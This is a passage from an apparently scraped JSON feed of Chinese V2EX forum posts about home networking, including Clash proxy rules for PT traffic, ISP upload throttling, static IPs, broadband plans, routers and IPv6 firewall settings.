      "content_html": "\u4e3a\u4e86\u89c4\u907f PT \u6d41\u91cf\u8d70\u4ee3\u7406\uff0c\u76ee\u524d\u7528\u7684\u662f\u767d\u540d\u5355\u6a21\u5f0f\uff0c\u515c\u5e95\u8d70\u7684\u76f4\u8fde<br />\u73b0\u5728\u6211\u60f3\u515c\u5e95\u4f7f\u7528\u4ee3\u7406\uff0c\u53c8\u6015 PT \u6d41\u91cf\u8d70\u4e86\u4ee3\u7406<br />qb \u662f\u7528 docker \u90e8\u7f72\u7684\uff0c\u7528\u4e86 macvlan \u6a21\u5f0f\uff0c\u5206\u914d\u4e86\u4e00\u4e2a\u89c4\u5b9a\u7684\u9759\u6001 v4ip \uff0c192.168.1.50<br />clash \u89c4\u5219\u91cc\u9762\u52a0\u4e86\u4e00\u6761 - SRC-IP-CIDR,192.168.1.50/32,\u76f4\u8fde,no-resolve<br />\u76ee\u524d\u6309\u7167\u6211\u7684\u6d4b\u8bd5 qb ipv4 \u7684\u6d41\u91cf\u662f\u6b63\u5e38\u76f4\u8fde\u4e86\u7684\u5417\uff0c\u7136\u800c\u6211\u7684 clash \u6ca1\u6709\u542f\u7528 ipv6 \u6d41\u91cf\u4ee3\u7406\uff0c<br />\u5982\u679c\u6211\u542f\u7528\u4e86 ipv6 \u6d41\u91cf\u4ee3\u7406\uff0c\u5047\u5982\u6709 v6 \u7684\u6d41\u91cf\u4f1a\u547d\u4e2d- SRC-IP-CIDR,192.168.1.50/32,\u76f4\u8fde,no-resolve \u8fd9\u4e2a\u89c4\u5219\u8d70\u76f4\u8fde\u5417\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lessurliu", 
        "name": "lessurliu", 
        "avatar": "https://cdn.v2ex.com/avatar/26f5/0936/699413_large.png?m=1773716354"
      }, 
      "url": "https://www.v2ex.com/t/1205717", 
      "date_modified": "2026-04-15T01:23:45+00:00", 
      "content_html": "\u5728 miyaip \u4e70\u4e86\u7684\u7f8e\u56fd\u9759\u6001 ip \uff0c\u7528\u4e86\u4e24\u4e2a\u6708\u4e86\uff0c\u5e72\u51c0\u5012\u662f\u786e\u5b9e\u5e72\u51c0\uff0c\u4f46\u662f\u7a81\u7136\u5f00\u59cb\u53d8\u5f97\u5f88\u4e0d\u7a33\u5b9a\uff0c\u7ecf\u5e38\u5361\u7684\u4e0d\u884c\uff0c\u592a\u96be\u53d7\u4e86\u3002\u6211\u4e70\u7684\u662f 7 \u5200\u4e00\u4e2a\u6708\uff0c\u5e94\u8be5\u4e5f\u4e0d\u7b97\u4fbf\u5b9c\u7684\u4e86", 
      "date_published": "2026-04-14T02:54:35+00:00", 
      "title": "\u5728\u54ea\u91cc\u4e70\u7684\u9759\u6001 ip \u6bd4\u8f83\u7a33", 
      "id": "https://www.v2ex.com/t/1205717"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/CNN", 
        "name": "CNN", 
        "avatar": "https://cdn.v2ex.com/gravatar/9d962325163a24e397ce6dac5d72dbf2?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205703", 
      "title": "\u6c5f\u82cf\u8054\u901a\u5bbd\u5e26\u88ab\u9650\u5236\u4e0a\u884c 2Mbps\uff0c\u4eca\u5929\u5df2\u89e3\u9664", 
      "id": "https://www.v2ex.com/t/1205703", 
      "date_published": "2026-04-14T02:33:37+00:00", 
      "content_html": "<p>iStoreOS \u62e8\u53f7+\u79d1\u5b66+\u7ea2\u7c73 AP \uff08\u5e08\u5085\u4e0a\u95e8\u524d\u6211\u5c06\u8f6f\u8def\u7531\u5173\u4e86\uff0c\u4fdd\u7559\u7ea2\u7c73\uff09</p>\n<h2>\u8054\u901a\u5ba2\u670d</h2>\n<p>\u5468\u516d\uff08 11 \u53f7\uff09\u8054\u7cfb 10010 \uff0c\u5ba2\u670d\u79f0\u53ef\u80fd\u4e0d\u5c0f\u5fc3\u70b9\u5230\u4ec0\u4e48\u5bfc\u81f4\u6d41\u91cf\u5f02\u5e38\uff0c\u5f53\u5929\u5e08\u5085\u4e0a\u95e8\u6539\u4e3a\u5149\u732b\u62e8\u53f7\uff0c\u7136\u540e\u62cd\u4e0b\u8def\u7531\u5668\u548c\u7535\u8111\u56fe\u7247\u4f20\u81f3\u4ed6\u4eec\u7fa4\u91cc\u8868\u793a\u6ca1\u6709\u8dd1\u6d41\u91cf\u8bbe\u5907\uff0c\u6709\u4e13\u4eba\u8d1f\u8d23\u5ba1\u6838\u3002</p>\n<h2>\u539f\u56e0</h2>\n<p>\u5e08\u5085\u8bf4<strong>\u6709\u51e0\u5929\u5c31\u7528\u4e86 300+GB</strong>\uff0c\u8fd9\u8ba9\u6211\u975e\u5e38\u610f\u5916\u3002\u56e0\u4e3a\u5e73\u65f6\u56fd\u5185\u57fa\u672c\u6ca1\u5927\u6d41\u91cf\u4e0a\u884c\uff0c\u4e5f\u5c31\u559c\u6b22\u732b\u7b49\u5c0f\u52a8\u7269\u4f1a\u4e0a\u4f20\u81f3 TG \uff0c\u79d1\u5b66\u6d41\u91cf\u5305\u542b\u65e5\u5e38\u4e0a\u7f51\u770b\u89c6\u9891<strong>\u6bcf\u4e2a\u6708\u624d\u7528 200-300GB</strong>\u3002\u6211\u5f00\u59cb\u6000\u7591\u662f iStoreOS \u5728\u201c\u5077\u5077\u8dd1\u6d41\u91cf\u201d\u2026\u2026</p>\n<h2>\u6062\u590d\u6b63\u5e38\u4e0a\u884c</h2>\n<p>\u4eca\u5929\uff08 14 \u65e5\uff09\uff0c\u5e08\u5085\u6765\u7535\u8bdd\u8ba9\u91cd\u542f\u5149\u732b\uff0c\u6d4b\u901f\u4e0a\u884c\u6b63\u5e38\u4e86\u3002</p>\n<p><img alt=\"\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.imgur.com/g8UptkQ.png\"/></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/frank1256", 
        "name": "frank1256", 
        "avatar": "https://cdn.v2ex.com/avatar/66bc/2161/566515_large.png?m=1773026648"
      }, 
      "url": "https://www.v2ex.com/t/1205681", 
      "date_modified": "2026-04-14T03:00:17+00:00", 
      "content_html": "<p>\u5750\u6807\u6c5f\u82cf\u3002\u4e0a\u4e2a\u6708\u7b2c\u4e00\u6b21\u73a9 pt \uff0c\u4e0a\u4f20 1t \u591a\uff0c\u7136\u540e\u4e0d\u51fa\u610f\u5916\u88ab\u9650\u901f\u4e86\u300250mbps \u7684\uff0c\u53ea\u6709 5mbps \u4e86\u3002qb \u76f4\u63a5\u88ab\u6211\u9650\u5236\u5728 800k \u3002</p>\n<p>\u7136\u540e\u6253\u4e86\u8054\u901a\u5ba2\u670d\uff0c2 \u5c0f\u65f6\u5c31\u7ed9\u89e3\u9664\u4e86\uff0c\u72e0\u72e0\u5938\u4e86\u8054\u901a\u3002</p>\n<p>\u7136\u800c\u8fc7\u4e86 5 \u5929\uff0c\u518d\u6b21\u88ab\u9650\u901f\uff0c\u6211\u671f\u95f4\u6ca1\u505a\u79cd\uff0c\u76f8\u518c\u90fd\u6ca1\u5907\u4efd\uff0c\u7535\u8111\u90fd\u5173\u673a\u4e86\u3002\u53c8\u6253\u4e86\u5ba2\u670d\uff0c\u7136\u540e 2 \u5c0f\u65f6\u89e3\u9664\u4e86\uff0c\u8fd9\u6b21\u6709\u4e2a\u533a\u57df\u8d1f\u8d23\u4eba\u8981\u6c42\u4e0a\u95e8\u62cd\u7167\u4ee5\u53ca\u7b7e\u534f\u8bae\u3002\u6211\u8981\u6c42\u7ed9\u51fa\u6211\u8fdd\u89c4\u7684\u8bc1\u660e\u3002\u6ca1\u6709\u56de\u590d\u3002\u4e0d\u4e86\u4e86\u4e4b\uff0c\u53cd\u6b63\u901f\u5ea6\u6062\u590d\u4e86\u3002</p>\n<p>2 \u5929\u540e\u53c8\u88ab\u9650\u901f\uff0c\u65e0\u8bed\u4e86\uff0c\u6211\u76f4\u63a5\u8ba9\u5e08\u5085\u4e0a\u95e8\u62cd\u7167\uff0c\u53d6\u8bc1\u3002\u8bc1\u660e\u6ca1\u6709\u4ec0\u4e48 pcdn \u7684\uff0c\u7136\u540e 10010,12345,\u5de5\u4fe1\u90e8\u3002\u5168\u90e8\u6295\u8bc9\u3002\u6700\u540e\u5ba2\u670d\u56de\u7535\uff0c\u6295\u8bc9\u5de5\u4fe1\u90e8\u7684\u4e8b\u60c5\u4f1a\u5c3d\u5feb\u89e3\u51b3\u3002</p>\n<p>\u6628\u5929\u7535\u8bdd\u548c\u6211\u8bf4\u7f51\u901f\u6062\u590d\u4e86\uff0c\u53ef\u6211\u4e00\u770b ip \u8fd8\u5728 116.147,\u6d4b\u4e86\u4e00\u4e0b\u4e0a\u4f20\u7adf\u7136 50mbps \u6b63\u5e38\u4e86\u3002\u5e0c\u671b\u8fd9\u6b21\u575a\u633a\u70b9\u3002</p>\n<p>\u8fd9\u91cc\u6709\u4e2a\u8ba4\u77e5\u4ee5\u5916\u7684\u4e8b\u60c5\uff0c\u5c31\u662f\u6211\u7684\u516c\u7f51 ip \u8fd8\u662f\u5728 116.147 \u8fd9\u4e2a\u9ed1\u7f51\u6bb5\u91cc\uff0c\u4f46\u662f\u4e0a\u4f20\u901f\u5ea6\u73b0\u5728\u6b63\u5e38\u4e86\u3002\u770b\u6765\u4ed6\u4eec\u662f\u6709\u624b\u6bb5\u7ed9\u5bbd\u5e26\u8d26\u6237\u7279\u6b8a\u5904\u7406\u7684\u3002\u96be\u9053\u6211\u8fdb\u767d\u540d\u5355\u4e86\uff1f\ud83e\uddd0</p>\n", 
      "date_published": "2026-04-14T01:55:31+00:00", 
      "title": "10 \u5929\u88ab\u8054\u901a\u9650\u901f 3 \u6b21\u3002", 
      "id": "https://www.v2ex.com/t/1205681"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sillydaddy", 
        "name": "sillydaddy", 
        "avatar": "https://cdn.v2ex.com/avatar/be86/c551/472822_large.png?m=1776242400"
      }, 
      "url": "https://www.v2ex.com/t/1205651", 
      "title": "\u7528\u4eba\u6c11\u5e01\u9762\u989d\uff0c\u8bb0\u5fc6\u89c6\u9891\u6d41\u91cf", 
      "id": "https://www.v2ex.com/t/1205651", 
      "date_published": "2026-04-14T00:46:30+00:00", 
      "content_html": "<h2>\u4eba\u6c11\u5e01\u9762\u989d\uff0c1,2,5,10,20,50,100,...</h2>\n<table>\n<thead>\n<tr>\n<th>\u89c6\u9891\u5206\u8fa8\u7387</th>\n<th>144p</th>\n<th>240p</th>\n<th>360p</th>\n<th>480p</th>\n<th>720p</th>\n<th>1080p</th>\n<th>1440p(2K)</th>\n<th>2160p(4K)</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>\u6d41\u91cf</td>\n<td>1MB/\u5206\u949f</td>\n<td>2MB/\u5206\u949f</td>\n<td>5MB/\u5206\u949f</td>\n<td>10MB/\u5206\u949f</td>\n<td>20MB/\u5206\u949f</td>\n<td>50MB/\u5206\u949f</td>\n<td>100MB/\u5206\u949f</td>\n<td>200MB/\u5206\u949f</td>\n</tr>\n</tbody></table><p>**\u53ef\u4ee5\u770b\u5230\uff0c\u5206\u8fa8\u7387\u589e\u5927\u4e00\u7ea7 -&gt; \u6d41\u91cf\u5bf9\u5e94\u4eba\u6c11\u5e01\u9762\u989d\u589e\u5927\u4e00\u7ea7 ** \uff1a1,2,5,10,20,50,100,...</p>\n<p>\u7528\u6d41\u91cf\u770b\u89c6\u9891\u65f6\uff0c\u7528\u4e0a\u9762\u7684\u5bf9\u5e94\u5173\u7cfb\u53ef\u4ee5\u5feb\u901f\u4f30\u7b97\u51fa\u6d41\u91cf\u82b1\u8d39\u3002</p>\n<h2>\u539f\u7406</h2>\n<p>\u89c6\u9891\u7801\u7387 =  \u5bbd * \u9ad8 * \u5e27\u7387 30 * \u7ea6 0.1 \uff08\u538b\u7f29\u7387\uff09\uff0c\u5176\u4e2d\u538b\u7f29\u7387 0.1 \u662f\u8bf4\uff0c\u7b97\u6cd5\u53ef\u4ee5\u5c06\u6bcf\u4e2a\u50cf\u7d20\u538b\u7f29\u5230 0.1 bit \u3002</p>\n<table>\n<thead>\n<tr>\n<th>\u5206\u8fa8\u7387</th>\n<th>(\u5bbd\u00d7\u9ad8)</th>\n<th>\u50cf\u7d20\u6570\u91cf</th>\n<th>\u4f30\u7b97\u7801\u7387 (Mbps)</th>\n<th>1 \u5206\u949f\u4f53\u79ef</th>\n<th>1 \u5c0f\u65f6\u4f53\u79ef</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>240p</td>\n<td>(426x240)</td>\n<td>10 \u4e07</td>\n<td>~0.3 Mbps</td>\n<td>~2.2 MB</td>\n<td>~135 MB</td>\n</tr>\n<tr>\n<td>360p</td>\n<td>(640x360)</td>\n<td>23 \u4e07</td>\n<td>~0.7 Mbps</td>\n<td>~5.2 MB</td>\n<td>~310 MB</td>\n</tr>\n<tr>\n<td>480p</td>\n<td>(854x480)</td>\n<td>40 \u4e07</td>\n<td>~1.2 Mbps</td>\n<td>~9.0 MB</td>\n<td>~540 MB</td>\n</tr>\n<tr>\n<td>720p</td>\n<td>(1280x720)</td>\n<td>92 \u4e07</td>\n<td>~2.8 Mbps</td>\n<td>~21.0 MB</td>\n<td>~1.2 GB</td>\n</tr>\n<tr>\n<td>1080p</td>\n<td>(1920x1080)</td>\n<td>207 \u4e07</td>\n<td>~6.2 Mbps</td>\n<td>~46.0 MB</td>\n<td>~2.8 GB</td>\n</tr>\n<tr>\n<td>1440p</td>\n<td>(2560x1440)</td>\n<td>369 \u4e07</td>\n<td>~11 Mbps</td>\n<td>~82.0 MB</td>\n<td>~5.0 GB</td>\n</tr>\n<tr>\n<td>2160p</td>\n<td>(3840x2160)</td>\n<td>829 \u4e07</td>\n<td>~25 Mbps</td>\n<td>~180.0 MB</td>\n<td>~11 GB</td>\n</tr>\n</tbody></table>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Yserver", 
        "name": "Yserver", 
        "avatar": "https://cdn.v2ex.com/gravatar/674dba3d571debf954d4c624688489e6?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205611", 
      "title": "\u4e0a\u6d77\u79fb\u52a8\u4e13\u7ebf\u6545\u969c", 
      "id": "https://www.v2ex.com/t/1205611", 
      "date_published": "2026-04-13T14:55:38+00:00", 
      "content_html": "<p>\u4e13\u7ebf\u7ec6\u8282\u89c1<a href=\"https://www.v2ex.com/t/1173090\" rel=\"nofollow\">\u94fe\u63a5</a>\uff0c\u4eca\u65e5\u89c2\u6d4b\u5230 17\uff1a05 \u5206-19\uff1a47 \u5206\u7f51\u7edc\u65ad\u5f00\uff0c\u8be2\u95ee\u5ba2\u6237\u7ecf\u7406\u5f97\u77e5\u4e3a\u5168\u5e02\u6545\u969c\uff0c\u5f71\u54cd\u8303\u56f4\u4e0d\u660e\uff0c\u7591\u4f3c\u4e92\u8054\u7f51\u90e8\u7684\u95ee\u9898\u3002\uff08\u6700\u8fd1\u771f\u662f\u4e0d\u5b89\u5b81 \u524d\u51e0\u5929\u7535\u4fe1\u70b8\u4e86 \u4eca\u5929\u79fb\u52a8\u53c8\u70b8\u4e86</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/afkool", 
        "name": "afkool", 
        "avatar": "https://cdn.v2ex.com/gravatar/09069d134d28763cbeccac8b2e9fff3e?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205609", 
      "date_modified": "2026-04-13T14:53:37+00:00", 
      "content_html": "169 \u5957\u9910\uff0c5 \u5f20\u5361 250g \u6d41\u91cf+1000M(50M \u4e0a\u4f20\uff09+iptv,\u7b2c\u4e8c\u8def 30 \u5143\uff08\u6ca1\u7528\u5230\u8fd9\u4e2a\u798f\u5229\uff09<br />\u4ee5\u524d\u662f 140 \uff0c\u5408\u7ea6\u5230\u671f\u4e86\u95ee\u4e86\u4f01\u4e1a\u5fae\u4fe1\u52a0\u7684\u7ecf\u7406\uff0c\u9664\u4e86\u53d1\u5e7f\u544a\u538b\u6839\u4e0d\u56de\u590d\u4efb\u4f55\u95ee\u9898\u3002\u3002\u7eaf\u673a\u5668\u4eba\u3002<br /><br />\u79fb\u52a8\u62a5\u4ef7\u8d3c\u4fbf\u5b9c\uff0c80 \u5757\u643a\u53f7\u8f6c\u7f51\u7ed9\u4e86 800G \u6d41\u91cf\u3002\u3002\u4f46\u662f\u53bb\u5e74\u7684\u62a5\u4ef7\u3002\u672c\u8eab\u5bf9\u79fb\u52a8\u4e5f\u4e0d\u611f\u5174\u8da3<br /><br />\u54b8\u9c7c\u627e\u5230\u4e00\u4e2a\u5b98\u65b9\u6e20\u9053\u7684\u8054\u901a\u4ee3\u7406\u5546<br />129 \uff0c5 \u5f20\u5361 200G \u6d41\u91cf+1000M(50M \u4e0a\u4f20\uff09<br /><br />\u987a\u5e26\u6c42\u4e00\u4e2a\u6027\u4ef7\u6bd4\u9ad8\u7684\u4e2d\u5174\u7684\u4e07\u5146\u732b\u7684\u578b\u53f7\uff08\u4ee5\u524d\u770b\u5f88\u591a\u5f66\u7956\u63a8\u8350\u8fc7\uff0c\u597d\u50cf\u633a\u7f51\u7ea2\u3002\u5fd8\u4e86\u578b\u53f7\u4e86\uff09", 
      "date_published": "2026-04-13T14:52:10+00:00", 
      "title": "\u7535\u4fe1\u8c08\u5fc3\u6838\u5fc3\u662f\u4e0d\u662f\u5c31\u662f\uff1a\u4f60\u4e0d\u7ed9\u4fbf\u5b9c\u6211\u5c31\u8f6c\u7f51\uff1f", 
      "id": "https://www.v2ex.com/t/1205609"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wygu0731", 
        "name": "wygu0731", 
        "avatar": "https://cdn.v2ex.com/gravatar/db8239ad5e053176f9b5e1b02a42dec7?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205521", 
      "date_modified": "2026-04-13T08:44:46+00:00", 
      "content_html": "<p>\u73b0\u6709\u73af\u5883\uff1a</p>\n<ul>\n<li>x86 \u8f6f\u8def\u7531\uff0c\u5df2\u91cd\u5efa\u4e3a OpenWrt \u4e3b\u8def\u7531</li>\n<li>\u534e\u7855 AP / AiMesh</li>\n<li>OpenClash \u5df2\u88c5\u597d\uff0c\u673a\u573a Clash \u8ba2\u9605\u53ef\u7528\uff0c\u4f46\u8282\u70b9\u8d28\u91cf\u4e0d\u7a33\u5b9a</li>\n</ul>\n<p>\u9700\u6c42\uff1a</p>\n<ol>\n<li>\u5e2e\u6211\u5728\u73b0\u6709\u73af\u5883\u4e0a\u65b0\u589e 1\u20132 \u6761\u56fa\u5b9a\u7f8e\u56fd\u51fa\u53e3\uff08\u5c11\u91cf\u7528\u6237\u4f7f\u7528\uff09</li>\n<li>Claude / AI / \u5f00\u53d1\u5de5\u5177\u4f18\u5148\u8d70\u7f8e\u56fd\u51fa\u53e3</li>\n<li>\u987a\u5e26\u6392\u67e5\u5e76\u4f18\u5316\u73b0\u6709\u673a\u573a\u8282\u70b9\u95ee\u9898\uff08\u4f8b\u5982\u522b\u4eba\u53ef\u7528\u6211\u4e0d\u53ef\u7528\u3001\u90e8\u5206\u8282\u70b9\u5f02\u5e38\uff09</li>\n<li>\u5c3d\u91cf\u4fdd\u7559\u73b0\u6709\u7f51\u7edc\u7ed3\u6784\uff0c\u4e0d\u5e0c\u671b\u5168\u90e8\u63a8\u5012\u91cd\u6765</li>\n</ol>\n<p>\u8981\u6c42\uff1a</p>\n<ul>\n<li>\u4e2d\u6587\u6c9f\u901a</li>\n<li>\u8fdc\u7a0b\u4f18\u5148\uff0c\u4e0a\u6d77\u53ef\u4e0a\u95e8\u66f4\u597d</li>\n<li>\u771f\u6b63\u505a\u8fc7 OpenWrt / WireGuard / \u5206\u6d41 / \u56fa\u5b9a\u51fa\u53e3</li>\n<li>\u5e0c\u671b\u5148\u505a PoC \uff0c\u518d\u51b3\u5b9a\u662f\u5426\u957f\u671f\u5408\u4f5c</li>\n<li>\u9884\u7b97\u4e0d\u662f\u6700\u4f4e\u4f18\u5148\uff0c\u91cd\u89c6\u7a33\u5b9a\u6027\u548c\u53ef\u7ef4\u62a4\u6027</li>\n</ul>\n", 
      "date_published": "2026-04-13T08:36:33+00:00", 
      "title": "\u4e0a\u6d77\u6c42\u4ed8\u8d39\u8fdc\u7a0b/\u4e0a\u95e8\u534f\u52a9\uff1a OpenWrt \u8f6f\u8def\u7531 + \u56fa\u5b9a\u7f8e\u56fd\u51fa\u53e3 + \u73b0\u6709\u673a\u573a\u4f18\u5316", 
      "id": "https://www.v2ex.com/t/1205521"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/helixcn2022", 
        "name": "helixcn2022", 
        "avatar": "https://cdn.v2ex.com/gravatar/658bd4d66f55da1c2ff889140fb08d68?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205295", 
      "title": "\u63a8\u8350\u4e00\u4e2a\u53ef\u4ee5\u5b8c\u7f8e\u8fd0\u884c\u5c0f\u732b\u54aa\u7684 5G \u8def\u7531\u5668", 
      "id": "https://www.v2ex.com/t/1205295", 
      "date_published": "2026-04-12T09:10:50+00:00", 
      "content_html": "<p>\u5927\u5bb6\u5e2e\u63a8\u8350\u4e00\u4e2a\u53ef\u4ee5\u5b8c\u7f8e\u8fd0\u884c\u5c0f\u732b\u54aa\u7684 5G \u8def\u7531\u5668,\u8981\u6c42\u65e0\u7535\u6c60,\u5e26 WIFI,\u9891\u6bb5\u53ef\u4ee5\u6ca1\u6709 N79,\u53ef\u4ee5\u6d41\u7545\u8fd0\u884c\u5c0f\u732b\u54aa\u5168\u5c40 TUN \u6a21\u5f0f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/xyz3210", 
        "name": "xyz3210", 
        "avatar": "https://cdn.v2ex.com/gravatar/d235655119ba6ed973eb90fb52dc2bf3?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205221", 
      "title": "\u5173\u4e8e\u5883\u5916\u5361\u5728\u56fd\u5185\u6f2b\u6e38", 
      "id": "https://www.v2ex.com/t/1205221", 
      "date_published": "2026-04-12T01:23:54+00:00", 
      "content_html": "\u8fd1\u6765\uff0c\u672c\u4eba\u6709\u4e00\u5f20\u5883\u5916\u5361\u5728\u56fd\u5185\u4e34\u65f6\u6f2b\u6e38\u4f7f\u7528\u3002\u4f17\u6240\u5468\u77e5\uff0c\u4e2d\u56fd\u79fb\u52a8\u5728\u56fd\u9645\u51fa\u53e3\u548c\u7f51\u7edc\u8986\u76d6\uff0c\u662f\u4f18\u4e8e\u5176\u4ed6\u4e24\u5bb6\u7684\uff0c\u6211\u4e5f\u5e0c\u671b\u53ef\u4ee5\u6f2b\u6e38\u5728\u4e2d\u56fd\u79fb\u52a8\u7f51\u7edc\u3002\u4f7f\u7528\u6f2b\u6e38\u4e3b\u8981\u662f\u5076\u5c14\u6253\u7f51\u7edc\u7535\u8bdd\u7528\uff0c\u76f4\u8fde\u5361\u7684\u6839\u672c\u542c\u4e0d\u6e05\uff01\u4e2d\u56fd\u79fb\u52a8\u548c\u4e2d\u56fd\u7535\u4fe1\u7684\u76f4\u8fde\u57fa\u672c\u4e0d\u53ef\u7528\uff0c\u53ea\u6709\u4e2d\u56fd\u8054\u901a\u7684\u7f51\u7edc\u8fd8\u80fd\u7528\uff0c\u4f46\u662f\u4e0d\u7a33\u5b9a\uff01<br />  \u5728\u4f7f\u7528\u4e2d\uff0c\u53d1\u73b0\u603b\u662f\u4f1a\u51fa\u73b0\u65e0\u670d\u52a1\u7684\u72b6\u6001\u3002\u5982\u679c\u9891\u7e41\u5207\u6362\u6570\u636e\u7f51\u7edc\u4f1a\u51fa\u73b0\u8fd9\u4e2a\u95ee\u9898\uff0c\u6709\u65f6\u5019\u8d70\u5728\u8def\u4e0a\u4e5f\u4f1a\u51fa\u73b0\uff0c\u6beb\u65e0\u5f81\u5146\u3002<br />  \u6709\u65f6\u5019\u51fa\u73b0\u65e0\u670d\u52a1\uff0c\u4f1a\u81ea\u52a8\u5207\u6362\u4e2d\u56fd\u8054\u901a\uff0c\u6709\u65f6\u5019\u5c31\u4e00\u76f4\u65e0\u670d\u52a1\u4e86\u3002\u76ee\u524d\u6f2b\u6e38\uff0c\u4f7f\u7528\u81ea\u52a8\u7f51\u7edc\uff0c\u4e2d\u56fd\u79fb\u52a8\u548c\u4e2d\u56fd\u8054\u901a\u9694\u4e2a\u51e0\u4e2a\u5c0f\u65f6\u81ea\u5df1\u5207\u6362\u3002<br />  \u8be2\u95ee AI \uff0c\u8bf4\u53ef\u80fd\u662f\u5f52\u5c5e\u5730\u5076\u5c14\u7f51\u7edc\u6ce2\u52a8\u9274\u6743\u5931\u8d25\uff0c\u4ee5\u53ca\u4e2d\u56fd\u7684\u53cd\u8bc8\u539f\u56e0\u3002\u5361\u91cc\u9762\u7684\u91d1\u989d\u8db3\u591f\u4e00\u5e74\u4f7f\u7528\uff0c\u8ba4\u8bc1\u4e5f\u662f\u5b9e\u540d\u8ba4\u8bc1\u3002\u611f\u89c9\u6216\u8bb8\u7f51\u7edc\u6ce2\u52a8\u6216\u8bb8\u4e2d\u56fd\u4fa7\u7684\u539f\u56e0\u3002<br />  \u60f3\u95ee\u4e00\u4e0b\uff0c\u5176\u4ed6\u4eba\u662f\u5426\u4e5f\u6709\u8fd9\u4e2a\u95ee\u9898\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/m0kha", 
        "name": "m0kha", 
        "avatar": "https://cdn.v2ex.com/gravatar/5bd39c777f9042abfcb5c4224dc40e37?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205186", 
      "title": "tplink \u8def\u7531\u5668\u5173\u95ed ipv6 \u9632\u706b\u5899\u98ce\u9669\u5927\u5417", 
      "id": "https://www.v2ex.com/t/1205186", 
      "date_published": "2026-04-11T14:41:19+00:00", 
      "content_html": "\u73b0\u5728\u662f\u6709\u516c\u7f51 Ipv6 \u5730\u5740\u7684\uff0c\u5bb6\u91cc\u6709\u4e00\u4e2a nas \uff0c\u56e0\u4e3a\u6709\u9700\u8981\u5c31\u7528\u516c\u7f51 IPv6 \u5730\u5740\u505a\u4e86 ddns \uff0c\u5b89\u5168\u65b9\u9762\u7528 nginx \u914d\u7f6e\u4e86\u53cd\u5411\u4ee3\u7406\uff0c\u53ea\u5f00\u653e\u4e86\u7279\u5b9a\u7aef\u53e3\u8bbf\u95ee+\u7528\u6237\u540d\u5bc6\u7801\u767b\u5f55\u3002\u4f46\u662f\u5bb6\u7528 tplink \u8def\u7531\u5668\u7684 ipv6 \u9632\u706b\u5899\u53ea\u6709\u5f00\u548c\u5173\u4e24\u4e2a\u9009\u9879\uff0c\u6ca1\u6cd5\u5f00\u653e\u7279\u5b9a\u7aef\u53e3\uff0c\u8981\u7528\u7684\u8bdd\u53ea\u80fd\u5173\u95ed ipv6 \uff0c\u5141\u8bb8\u6240\u6709\u5165\u7ad9\u6d41\u91cf\uff0c\u8fd9\u6837\u5bf9\u5bb6\u91cc\u5176\u4ed6\u8bbe\u5907\u7684\u98ce\u9669\u5927\u5417\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/hefish", 
        "name": "hefish", 
        "avatar": "https://cdn.v2ex.com/avatar/3c5f/0aa1/167579_large.png?m=1769244110"
      }, 
      "url": "https://www.v2ex.com/t/1205173", 
      "title": "\u5927\u4f6c\u4eec TEWA-7101U \u8fd9\u6837\u7684\u5149\u732b \u5982\u4f55\u83b7\u53d6\u8d85\u7ba1\u5bc6\u7801\uff1f", 
      "id": "https://www.v2ex.com/t/1205173", 
      "date_published": "2026-04-11T13:47:42+00:00", 
      "content_html": "<p>\u578b\u53f7\u662f TEWA-7101U\n\u8f6f\u4ef6\u7248\u672c\u662f\uff1aTianyi_V1.0_JS2511</p>\n<p>\u7f51\u4e0a\u597d\u50cf\u90fd\u6ca1\u641c\u5230\u8fd9\u4e2a\u578b\u53f7\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/DopaminePlz", 
        "name": "DopaminePlz", 
        "avatar": "https://cdn.v2ex.com/gravatar/18fe7de28c6a8e5e193f9bf66f2fcf60?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205163", 
      "title": "fast.com \u5c45\u7136\u6bd4 https://10000.gd.cn/#/speed \u8fd8\u5feb", 
      "id": "https://www.v2ex.com/t/1205163", 
      "date_published": "2026-04-11T12:37:00+00:00", 
      "content_html": "<p>\u5e7f\u5dde\u7535\u4fe1\u5343\u5146\u5bbd\u5e26\uff0c<a href=\"http://fast.com\" rel=\"nofollow\">fast.com</a> \u53ef\u4ee5 570Mbps \uff0c\u5e7f\u4e1c\u7535\u4fe1\u5bbd\u5e26\u6d4b\u901f\u5e73\u53f0 \u624d 300 \u591a\u3002\u795e\u5947.</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/izxb", 
        "name": "izxb", 
        "avatar": "https://cdn.v2ex.com/gravatar/40e9570bc3ae2c82f6943b07b0031de8?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1205144", 
      "title": "\u5e7f\u4e1c\u7535\u4fe1\uff0c ipv4 \u516c\u7f51\uff0c\u8bbf\u95ee\u6d77\u5916 ip \u5168\u90fd\u4e0d\u901a\uff0c ipv6 \u8fd8\u52c9\u5f3a\u80fd\u901a", 
      "id": "https://www.v2ex.com/t/1205144", 
      "date_published": "2026-04-11T10:25:09+00:00", 
